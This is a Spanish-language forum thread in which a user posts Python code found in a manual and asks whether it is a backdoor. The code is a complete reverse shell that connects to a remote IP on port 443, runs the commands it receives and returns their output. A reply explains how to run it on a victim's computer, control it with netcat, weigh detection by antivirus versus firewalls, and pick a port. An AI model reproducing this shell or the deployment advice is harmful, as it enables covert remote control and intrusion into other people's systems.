Codigo fuente de un "Backdoor"

Iniciado por Danirs, 12 Agosto 2012, 15:51 PM

0 Miembros y 3 Visitantes están viendo este tema.

Danirs

Buenas!

Encontre este codigo de un backdoor en un manual que tengo, que la verdad no se que hacia alli porque no era un manual de malware... pero bueno el caso es que no se si es un backdoor ya que no entiendo de python, tiene pinta de que si pero para salir de dudas lo posteo aqui, a ver si me podeis ayudar:

Código (python) [Seleccionar]
#!/usr/bin/python
# imports here
import socket,subprocess
HOST = '172.16.32.137' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# connect to attacker machine
s.connect((HOST, PORT))
# send we are connected
s.send('[*] Connection Established!')
# start loop
while 1:
# recieve shell command
data = s.recv(1024)
# if its quit, then break out and close socket
if data == "quit": break
# do shell command
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
# read output
stdout_value = proc.stdout.read() + proc.stderr.read()
# send output to attacker
s.send(stdout_value)
# close socket
s.close()


Gracias!
Qué es la vida un frenesí. Qué es la vida una ilusión, una sombra, una ficción. Que todo en la vida es sueño y los sueños, sueños son.

Karcrack

Falta indentarlo. Aún así esto no es un backdoor, es una shell inversa. Ejecutas este código ,se conecta a 'HOST' por el puerto 'PORT' y obtienes una shell (cmd en caso de windows).

Si tienes alguna duda respecto al código pregunta, aunque está bien comentado.

Un saludo

Danirs

#2
Muchas gracias por responder, ahora que me has aclarado me asaltan las dudas:

Si lo quiero testear en mi otro ordenador lo unico que tengo que hacer es poner el formato de python y ejecutarlo no? y si lo ejecuto una vez en el ordenador me saldra la shell del otro y al apagar el ordenador victima se pierde la conexion y tendria que volver a ejecutarlo?

Esto lo detectan lo AV? Porque en el manual salia que era indetectable a 43 AV...no lo creo la verdad

Funciona tambien en linux?

Gracias!  ;D
Qué es la vida un frenesí. Qué es la vida una ilusión, una sombra, una ficción. Que todo en la vida es sueño y los sueños, sueños son.

Karcrack

En teoría este código funciona bajo cualquier SO en el que puedas instalar el intérprete Python.
Es posible que ningún AV lo detecte, pero has de saber que cualquier Firewall saltaría en el intento de conexión remota.

Respecto a la forma de uso: Esto se ejecuta en el ordenador del cual quieres obtener la shell y desde donde se controla ésta (es decir, el 'HOST') tienes que tener algo para enviar los comandos. Puedes hacerte tu mismo otro script en Python o bien usar el netcat que es una herramienta muy útil en estos casos. Tan sólo tienes que bindear el puerto 'PORT' y empezar a enviar comandos.

Danirs

Gracias por responder.

Y no vale un puerto cualquiera para poner no? 443 es el que viene por defecto, entonces es el mejor para estas ocasiones?

Gracias! (Perdon por mi ignorancia no se mucho de esto xD)
Qué es la vida un frenesí. Qué es la vida una ilusión, una sombra, una ficción. Que todo en la vida es sueño y los sueños, sueños son.

Karcrack

Nadie nace sabiendo. El puerto es indiferente. Hay algunos puertos reservados para distintos tipos de protocolos (p.e: http -> 80). Pero eso no impide que se use para cualquier otra función, aún así puede que el puerto esté ya bindeado y no puedas usarlo.

+Info:
Citarhttp://es.wikipedia.org/wiki/Puerto_de_red

Danirs

Pues muchas gracias por responder me aclaraste todas las dudas Gracias! ;D ;D
Qué es la vida un frenesí. Qué es la vida una ilusión, una sombra, una ficción. Que todo en la vida es sueño y los sueños, sueños son.